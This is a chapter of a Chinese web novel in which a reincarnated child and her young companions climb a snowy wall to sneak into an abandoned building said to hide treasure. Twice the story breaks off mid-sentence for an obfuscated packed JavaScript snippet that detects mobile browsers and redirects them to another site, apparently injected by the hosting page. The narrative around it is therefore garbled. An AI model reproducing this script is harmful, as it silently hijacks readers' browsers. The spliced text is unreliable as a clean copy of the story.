他们三个看我们俩这样,也觉得好玩,纷纷跑过来爬围栏,华佗与张机个子高些,上来得很轻易,辩儿却一时翻不上来。他失败了好几次,看起来快哭了,憋着嘴只看我们。 “你上不来?那我拉你!”小宝一挽袖子就要拉他,我赶紧制止她,“你坐在这上面用力拉,自己会翻下去的,我下去把他托上来。” “你别爬上爬下了,麻烦,我来!”华佗跳下围栏走过来,两手抱住辩儿,往上一托,便把他稳稳当当放在了栏杆上。 这下终于所有人都坐在围栏上了……小孩子们一时新鲜,都在栏杆上晃悠腿玩。 我看向眼前的这间小楼。小楼三层高,在外部看,能感觉到一开始设计时,就加入了许多明显的现代思维痕迹。这间小楼的构造极方正,房顶只做了简单的拱形用来排水,外部没有什么装饰,在角落甚至还有一个竹子做的排水管。 这个走廊的风格也很有教学楼的感觉,头顶加了竹子和茅草制成的防雨棚顶。 “这个房子长得好奇怪啊……”辩儿看起来有点害怕,皱着眉头看看这间小楼,又看了看院子里,“而且这里空空的,什么都没有,有什么好玩的……” “多好玩啊!这么大一片院子,想玩什么都没人管!”华佗听辩儿这么说,生怕他马上就要回去,赶紧开口,“要是在其他地方打雪仗,还要小心不能弄坏东西,打也打不痛快。” “嗯……确实很适合!”小宝认真点头表示同意,“云帝宫里就不能打雪仗,打到人要挨骂的。” “下次多叫点人来,再垒个城墙,玩攻城,那样才刺激呢!”华佗朝着这个巨大的院子比划着,高兴地提议。 “唉……”张机在一边没有接话,只是悄悄叹了口气。 怎么话题变成打雪仗了……我怕他们聊得开心,真的开始玩起来,赶紧开口道,“师兄,你先前说小楼里有宝贝,可是真话?” 华佗一听我说这话,认真看着我道,“当然是真话!这可是翳部弟子口口相传的事儿,我还能骗你们不成!”他紧接着说,“听说那个前任翳部首座,以前就是个好玩的怪人!她特别爱在山门各处藏东西,有时候是她画的石头画,有时候是一些雕刻的小玩意儿,可有意思了!有人就说,她以前住的地方藏着最好玩的东西,到现在都没人找到!” “可是这栋房子看起来已经很久没人进去过了……”我转头看了看紧闭的小楼正门,“就算真的有谁也没见过的好玩的东西,进不去也不可能拿到啊。” “……是啊是啊,”辩儿听我这样说,挪了挪屁股,抓着小宝的袖子道,“反正也进不去,要不我们还是回去……” “回去干嘛呀!”小宝一听到有新玩具,整个人都开心了起来,她回头拉着辩儿的手说,“要是能找到谁都没见过的宝贝,那不是很厉害吗?没事啦,这里都没有人过来,能有什么可怕的?” “没有人,那要是有鬼怎么办……” 我下意识想安慰他世界上是没有鬼的,但是突然想到这个世界的话,有没有鬼还真不好说…… “有鬼也不怕,我们有这么多人呢,还怕打不过吗?”小宝一本正经地看着辩儿说道,“你要是怕就跟着我,要是有危险,我拉着你跑。” “进去倒是不难,”华佗说,“之前和姓张的还有另外几个人,我们一起进去过这里头。” ! 有进去的办法! “那你们当时是怎么进去的?”我追问道。 “……真的要带她们走那条路吗?”张机伸手拉住华佗的手臂,“她们三个年纪那么小,万一爬至半途没了力气就糟了。” ……这样一说更让人好奇了! “才不会呢!”小宝听到张机说这话,瞬间不服气了,“上次去爬那棵超——级高的大树的时候,我可是第一名!” “就算你能爬,也不能再让大皇子涉险了。咱们带大皇子去爬树的事情被大人们知道之后,所有人都被阁主叫去训了一顿。”张机补充道。 “那也不关刘辩的事儿啊,他又没告密!还不是因为那个谁,只会上不会下,困在树上下不来,惊动了大人才挨骂的……”说起挨骂小宝立刻蔫了,语气沮丧地抱怨道。 “哎呀没事儿,”华佗说,“反正只用爬一会儿,不会怎么样的。” “她还有伤!”张机听华佗这样说,崩溃地一指我。 “没关系的,师兄,”至少得知道从哪儿进去才行,我赶紧开口,“要是特别难爬,我就不上去了,在下面等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536111|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们。” “哎?”似乎是没想到还可以直接说不去,辩儿惊讶地偷偷看向我。 “……好。”张机听我这样说,终于松口答应。 “这样就行了吧,走,我们去找进去的路!”华佗跳下围栏,招呼我们向外走去。 —— “喏,就从这里上去。”华佗伸手一指,说道。 我们顺着他手指的方向看过去。 从正门出来,向左绕到建筑的侧面,是一片凹凸不平的墙壁。盖房的石墙经过多年风吹日晒,变得参差不齐,有不少凸起的石块和凹陷进去的缝隙,如果没有那些积雪,应当十分好爬。 “从这里上去,爬到这个棚子顶上,”华佗一拍棚子那根粗壮的圆木立柱,“这顶上正对着二楼的窗户,一翻就翻进去了,很容易的。” 他这样说着,抬起袖子擦了擦几个石块上的积雪,抓住石块,向上一窜。 紧接着,他就继续着这样一边攀爬一边开路的动作,几下就爬到了棚顶上。 “很简单的!怎么样,试一试?”他在上面趴着,只探出一个脑袋,朝我们招手。 这身手也太利索了……我不禁惊叹,此时站在我身后的小宝一步向前,冲着华佗喊道,“等着!轻轻松松就能爬上去!” “小心些……”我开口道。 只是顺口就说了这么一句,我其实并没有想太多,但没想到我话音刚落,小宝“唰”地一下扭头看向了我。 “……你为什么总这么说话。”她看起来好像是鼓起了勇气才问出的这个问题,此时的表情甚至看起来有点防备。 “……怎么说话?”我没太懂她的意思,但看她的表情,又感觉事情好像有点严重,只好这么问道。 小宝似乎被我问住了,拧着眉心思索了一阵道,“就是……好像师尊他们一样。” 糟了……穿帮了。 至今为止我接触过的成年人,都是几百岁的仙人,他们或许已经在漫长的岁月里忘记了几岁的孩子具体是什么样子,所以至今为止,大人们都没有对我的言行举止表示出觉得奇怪。 但是小宝不一样。在她的认知里,我比她晚出生很久,我应当比她更幼稚,或者与她心智相仿。但我实际表现得却比她成熟很多。 看起来是吓到她了……但是这个年纪的小孩应该是什么样子……?我哪知道! “因为……是师父教的。”我只好撒谎。 不行了,你要是追问,我就假哭糊弄过去。 “徐神教你这个干嘛呀……”小宝虽然看起来还是很疑惑,但是眼里的警惕消失了,“而且你老是师父说师父说的……也太黏师父了吧,没劲。” 她说完立刻转头,埋头就开始爬墙。我看向辩儿,他似乎没太能理解我们两个刚刚聊了什么,只是担心地看着向上攀的小宝。 似乎察觉到我的异常的只有小宝……太好了。 在我的灵魂苏醒之前,就与我待在一起的人,跟我来到这个世界之后才结识的人果然不一样。 只是……以后要怎么办?我该用一个什么样的姿态与她相处,又不会因为举止太异常而吓到她呢。我看着努力向上攀登的小女孩,脑子里思考着。 20. 小白的机关3 “就差最后一步了!”华佗看着小宝说道。 小宝抬手,擦干净最接近棚顶的最后一块石头上的积雪,双手抓住那块石头,一只脚踩到了比原来踩着的位置更高的地方。 接下来似乎没有更近的好抓踩的石头了,而她离棚顶仍有一段距离。她停在原地思考了一下,换成了另一只脚踩在那块石头上,在距离棚顶还有一米左右的位置,屈膝猛地一跳,朝棚顶扑了过去—— “!”所有人都被她大胆的举动吓了一大跳,华佗伸手拉住了还在半空中的小宝,两人顺势摔在了棚顶上。 还好平安着陆了…… “太危险了……”张机看着棚顶的方向,低声自言自语道,“这里的人怎么都喜欢不要命的玩法?” 小宝探出头来朝我们挥手,“怎么样!” “好厉害啊!”辩儿在旁边很捧场地大声夸赞她。 “你们也快上来!”小宝继续朝我们招手。 接下来是谁呢…… 我以为他们两个中会有人想要先上,就没争先,谁知小宝问完那句话后,我们三个竟默契地陷入了沉默。 ……竟然没人想先上吗。 我看向辩儿,问道,“你要先去吗?” “啊?……我?”辩儿听到我问他,一下子变得特别紧张,脸色甚至都开始发白,他看了看那面墙,表情看起来特别为难。 “我……”他艰难地开口,似乎想下定决心,但这面墙的高度已经超过了他的勇气,但又有什么在威胁着他,不许他说放弃。 这种高度紧张的状态是怎么回事……?他可是被史君养着的,不想去的话,直接撒娇或者耍脾气才对啊? 虽然不知道他为什么会这样,但既然他不太敢爬,也不能强迫他,我轻轻拍了拍他的肩道,“那我和张师兄先上。” “……”好像并没有安慰到他……他听我这样说之后,虽然没那么紧张害怕了,但是表情看起来还是很低落。我很不擅长安慰别人,虽然很担心他,但也只能暂时不管。 于是我转头看向张机问道,“师兄,你要先爬吗?” 张机看着我认真道,“不,我最后一个上。” “可是,师兄你爬得比我快吧,在下面等不会无聊吗?”我问他。 “不会。”张机坚定地摇了摇头,“要是没人在下面接着,摔到了脖子和头要出人命的。你爬的时候也千万别逞强,师父说,大病初愈的人最忌身体劳累。” “好。”好细心的人。我看着他的眼睛向他点头,随即转过身,看着面前的墙。 也难怪辩儿会害怕。虽然理智上明白要爬的高度只有一层楼高,但是—— 它看起来有十米那么高! 是因为我现在的个子太矮的原因吗。 感觉要爬很久…… 我把斗篷的绳子重新用力紧了紧,走上前,攀住了我能碰到的,第一块高处的石头。 —— 呃……好累好重…… 我费力举起手攀住头顶的石头,脚下踩进缝隙,膝盖顶着墙面,整个人尽力趴在墙上稍作休息。抬头一看,距离棚顶还有一段距离。 “梨树你爬得好慢啊。”小宝双臂交叉垫着下巴,趴在棚顶上无无聊聊地吐槽道。 “……”确实很慢。她爬上去只花了一两分钟,而我已经爬了差不多有五分钟了,才刚刚过半。但这已经是我最快的速度了,再快恐怕会容易失手。 “嗯,没关系……我会等着你……”我还没接她的话,她就晃着脑袋自言自语起来了,甚至还开始哼歌。 ……多说多错,还是不要说多余的话了,我继续向上攀爬。刚刚在地面上的时候,我还仔细观察了整个墙面,定了一条看起来比较近,也比较安全的路线,结果真的爬上墙后,就完全搞不清楚自己到底在摸哪块石头了,只能朝着大概的方向向上。 而我现在在爬的这条线路,与刚刚小宝的线路几乎不重叠。她本就很擅长这种爬上爬下的运动,所以她挑选了一条最近,但是石头与凹陷不多,更难爬的路。而我为了安全则绕了点远。 虽然会耗费更多体力,不过只要不用跳来跳去,或者需要抓住某块石头把自己荡到远处就好…… 就这么慢慢地,有惊无险地到达了目的地。 “你总算爬上来啦!”小宝看着小心翼翼从墙上下来的我,开心道。 我几乎是摔在了棚顶上,趴在原地喘了好一会儿才缓过来。我筋疲力尽地支撑起身体回应她,“好累……” 她听我这样说,开心地笑起来了,伸出一只手来示意我拉住她。我双手握住她的手,她用力把我从地上拉了起来。看我站起来了,她说道,“以后你多跟我一起去爬树,就能爬得快了!” 我认真向她点头,有机会在大自然里锻炼当然很好。 “嗯?华师兄呢?” 上来才发现,棚顶上只有小宝一人,本来应该在这里的另一个人此时不知道去哪里了。 小宝一指后面的窗户说道,“师兄已经到里面去了。” “他怎么没等我们呀……”我的话音还没落,那扇窗户里突然探出一颗脑袋,“谁说我没等你们了!我是先进去打探打探情况!” “师兄你在啊……”吓死我了。 “刘辩!快上来!!”小宝朝着地面上喊道,“我们在上面等你——” 他会来吗,还是会拒绝呢。我的目光转回地面上。 —— “快上来!我还没看这里面长什么样子呢,等你上来了一起看!”小宝继续朝下面喊道。 他看起来似乎没有刚刚那么恐惧了,抬着头看看那面墙,又看看我们这边,怯怯地开口道,“太高了……我很怕……” “摔下来会很疼……” 看起来好可怜啊。我心里想着。 “要不……让辩儿在下面等我们吧。”我拉了拉小宝的袖子劝她,“他又不擅长这个,万一真的摔了,可怎么办?” “嗯,是很麻烦,”华佗在后面赞同地接话道,“老是跟着他的那个,从宫里跟着他来这儿的那个老头,特别爱告状。要是他真摔了,那老头绝对会去阁主那里告状的,到时候又要被师父罚跪!麻烦得很。” “老头……师兄你是说赵叔?他还不算是老头子吧?”我回忆了一下赵常侍(常侍好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536112|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那人的官位称呼)的样子,那人看上去也就四十上下,还只是个中年人,离老人的年纪还差得远。 “跟老头子也差不多!总之那人就是很讨人厌。”华佗满不在乎地说。 小宝转过头,震惊地看了看我们两个,说,“可是……总不能把他一个人丢在下面吧!” “!?”小宝说完这句话后,辩儿的表情一下子变了,他开口道,“……你们都要进去里面吗?不在外面玩?” “嗯……毕竟很辛苦地爬上来了嘛,不进去看看总觉得很可惜。”更别提这是小白的旧居,里面说不定会有什么重要的线索,总之我是一定要进去的,搞不好还要在里面呆很久。 “我们爬上来就是要进去里面的!”小宝接着说道,“你要是不上来,就得一个人呆在外头了!很无聊的!” 辩儿一听她这样说,表情一下子变得更委屈了,眼睛里似乎已经有点泪汪汪的了…… 这下麻烦了,劝他上来也不是,让他在下面等也不是。 “刘辩!上来吧!”小宝一下也急了,双手撑着棚顶的边缘朝下面喊,“梨树受着伤都爬上来了,不难的!” “嗯。从那边爬上来,虽然远了点,但是不算很危险,”我指着自己刚刚上来的路,接着小宝的话说,“有点像是走上来的。而且我爬过的地方,雪都擦干净了,不容易打滑的。” “……真的?”似乎是我的说法和轻松的表情给了他一些鼓励,他看着我刚刚清理出来的那条线路,看起来没有刚刚那么紧张了。 “试一试吧刘辩!”小宝继续大声说道,“你要是摔了,我陪你一起喝药!” 不是吧,这么仁义!我震惊地看向小宝。 所有人都被她的这句同甘共苦的发言惊呆了,静了几秒钟后,张机师兄皱着眉头开口道,“就算真的摔了也没什么需要喝的药,基本都是外敷……不对,没有受伤的人是不能喝药的,身体会出问题的。” 张师兄……太纠结课业了吧,重点是这个吗? 不过这份鼓励让辩儿看起来彻底不害怕了,他没忍住笑了出来,“就是啊……怎么能一起喝药呢。” “那我试一试!”他说,“要等我哦!” “当然会等你!”小宝看他终于愿意上来,开心极了,大声回应他。 他走上前,走到了我一开始向上爬的位置,小心地踩住了一块石头,开始慢慢向上。 他的体力其实不错……我看着他攀爬的样子心想。至少比受伤的我强不少,速度比我要快多了。其实从外表就能看出来,他个子很高,虽然不是特别壮实的体型,但是骨架很大,看起来并不单薄。 有点像大象宝宝。虽然身体比大多数物种的幼崽都要强壮了,但内心并没有那么强大。 大概是因为身份的关系,一直被教导要远离危险的地方,渐渐地就什么也不敢尝试了吧。 我转头看小宝,她看起来超级紧张,死死盯着辩儿的一举一动,还在不停地出声提醒他。 人好像真的很需要一些被朋友强行塞进手里的东西,我心想。如果没有朋友,或许会错过很多独自一人时不会想要尝试的东西吧。